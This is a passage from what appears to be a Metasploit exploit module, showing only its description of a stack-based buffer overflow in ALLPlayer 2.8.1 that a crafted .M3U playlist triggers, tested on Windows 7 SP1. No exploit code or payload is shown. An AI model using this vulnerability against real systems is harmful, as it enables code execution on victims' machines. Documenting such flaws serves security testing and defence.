'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
ALLPlayer 2.8.1, caused by a long string in a playlist entry.  
By persuading the victim to open a specially-crafted .M3U file, a  
remote attacker could execute arbitrary code on the system or cause  
the application to crash. This module has been tested successfully on  
Windows 7 SP1.
